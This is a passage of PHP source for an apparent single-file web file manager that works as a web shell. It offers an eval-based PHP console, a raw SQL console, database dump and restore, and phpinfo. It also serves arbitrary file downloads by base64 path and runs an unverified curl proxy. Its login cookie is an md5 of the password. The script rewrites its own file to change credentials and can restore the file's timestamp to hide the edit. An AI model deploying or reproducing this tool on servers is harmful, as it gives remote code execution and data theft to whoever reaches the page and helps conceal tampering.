			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
